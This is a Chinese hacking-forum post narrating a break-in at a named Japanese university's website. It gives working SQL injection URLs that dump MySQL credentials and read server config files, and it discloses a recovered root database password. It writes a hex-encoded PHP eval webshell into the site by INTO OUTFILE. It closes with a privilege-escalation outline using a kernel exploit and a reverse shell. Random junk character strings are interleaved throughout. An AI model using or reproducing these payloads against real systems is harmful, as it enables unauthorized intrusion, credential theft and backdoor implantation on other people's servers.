找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2291|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析- b2 y% l' m( o8 Z& O/ U/ m$ @
9 V% @! M- v7 J; G& _
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
  h* k/ e" \; x/ V+ G( [4 ?9 B然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
4 h5 Q9 s$ T5 h- a# ?- W
7 G! T$ J# B  z) [7 Chttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
. j& }; C) t2 _7 U7 g1 K4 l2 C1 H1 [  W! {/ q
# S; O4 T% n9 h8 W- z9 D5 X
( R- ]+ M- C, p- l
//@@datadir为数据库文件路径 ! Q, v/ C& N+ W# \7 W/ ~( [
( F/ A0 \; u" O6 R" m1 T1 U2 e
% t$ i8 U! t5 J0 A7 {" I
//load_file读取网站容器apache的配置文件
& a3 U) `' F) x. P: x
/ B$ B5 ?, p  g) O4 ]/ i5 b8 e9 u& O+ Q- Z& R" y" v
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
6 o7 \: O( N5 n0 \复制代码
$ x1 Q/ O, f, J8 C, y8 S  Z2 u; p' @
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。2 f6 V0 ]: X3 a+ h) k

8 p( A. Q% s' R6 R+ W; L3 v6 U而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
  r& F0 Q8 ^' X(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)+ o$ l7 [& Y% o9 t: M9 P' x
  W- j- A+ Q/ Y& v, ^
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
8 i$ V! q9 }2 N" Y) e如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
' n9 q* f. j+ h8 B/ ^( R
& g2 R' [4 C9 N4 o) M% S既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
/ F% M, |, M% I. ~2 {虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
$ u: J, k7 A( Z$ Q. K) }直接写一句话:4 H& c4 @& {  M6 d

$ z* I  x7 t3 g! g5 H% _http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
+ Y1 w, E7 @( O, }/ j% m& S* N( y5 p0 h
0 ~8 H) F+ }8 K, l
4 I: I! @+ y- s( T" r$ ^# j
//最后的#是为了闭合前面的语句
6 ~; i( v1 @8 a8 j1 z% j1 T
' }- ?8 L! e- J, P1 k& U/ w5 k8 _  v- c
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ! F% I; p& z. V& ?: {

, h! X1 {3 ~$ R, X/ C! I$ U9 T+ q6 ^9 C& d  g# i5 U: h+ R
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 7 C: j3 G# `& B- X- ^( p
0 m- q" M' ^1 {' R- B% j

+ o7 w5 |+ ]# Z  v4 h& L//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 ) }& }5 c: Q5 `- a% V" u  q

. |$ E* c. s2 a1 M* ^2 c/ w; H- L
5 d2 D6 `  Z3 Y/ J. U//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 ' z$ n& S2 k2 ?* S, m( |
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” * t3 y  s! o' u9 t2 t6 g; f
复制代码- c( a, C& d+ `. [# s* c& `

% k5 j  F' z+ b  bHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有3 {+ s5 ?3 B8 }) q3 F, G
通过上述注入语句,我们就得到了一句话木马:
3 P' R+ s3 Z- t
7 D% H1 l: m& e+ f% \) B9 W* [
6 f* S0 A5 V5 B. X' Z
, K/ q" r4 X% Z/ h" F" T( u * T9 ]3 x5 I" i0 _

  G- [) I) K/ O/ Qhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
2 z- N& h6 j& ]0 Q0 i5 h! I) K  ]3 g复制代码
: l; n5 z# p; @2 k
% `. t% c* {1 a; f" _用菜刀连接,密码是cmd,如图所示:
: k" P) r- D$ ?/ U然后在命令提示行里看了一下,现在的权限是:. ?6 y) m& W" w% i
) C5 [" i* i5 K3 S
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。1 x; h9 a- H1 n) y4 B, Q5 d
好在赋权给这个文件夹不需要root,直接执行赋权语句:# F9 w7 I& O! d0 b' @( K: M8 `& M

9 a6 y' ^/ V5 i* j0 d; s + M% Z4 u- E5 Q. O" v0 G7 \$ H: d
+ {! r" i% e  e* m. L
) |( {1 u( K" Q& x
: P. h# t0 r+ y
chmod +x /tmp/
+ B6 F7 d; Y; T" ^  w# F复制代码1 k7 ]! \7 S% z7 ^& J; Y

4 f& s/ K/ U8 n4 ]4 t$ w+ R在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行- S$ F( U9 j  y2 J$ y
然后就查了一下内核版本:/ }5 t+ _2 n7 }5 C* G

3 n# o9 w9 k$ A* u# I; }8 V. [2 E8 v ( i' S  M: S% U0 q

9 T# \1 \: p  d . f0 \4 T2 C% G) i

" M) a- ~* e/ e; E  `uname-a 2 M6 [/ b+ k% t. A3 s8 D2 l- J

  r3 L! |) i: G5 [" u) ~0 P) X1 R' p# z. d" _5 _- }3 v
//其实lsb_release -a ( M4 I, N0 L/ D) W  g2 p* v4 d
复制代码( J# w" ~- A+ P2 v2 \

+ x3 J5 s2 ]4 c# l9 R9 X如图所示:
5 x' y8 r! u! E" D0 W6 r4 F2 s5 L% t7 g" B  C
内核版本:linux mainz1 2.6.28-194.e157 V% d% J4 B9 y  z# u6 H
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
" U# N- D% C' b$ u4 u* _* U查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
9 D/ W1 {0 R$ W/ B( \& K0 h4 I+ }6 s- w
然后给予执行权限# K# l; M4 Z, k! |9 T: H5 m& @8 E
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
5 g" r8 S" V" I8 _+ B0 g; A% d3 u" ^
+ s7 q/ ~# J1 h6 L- ^

0 u4 [7 }# t/ Q7 K" h( b' D# D7 C $ c' i) V; m( c: n1 G$ x& a

: o7 t; D$ w3 hchmod +x /tmp/2.6.18-194
% S) X# A! T/ c0 N/ O复制代码 然后直接执行!~' U+ |, }  L( o- U7 B: D/ _5 F9 P7 R
! c3 t* M: q. S2 E$ h3 b& B: L. s
总结:6 p0 w1 y4 e* H6 l& ~
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
& q( \) h5 p1 n0 x, E1 `提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
9 Q! @5 Y  V0 s
1 w- B' ?$ C8 t6 K# Q6 x' `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表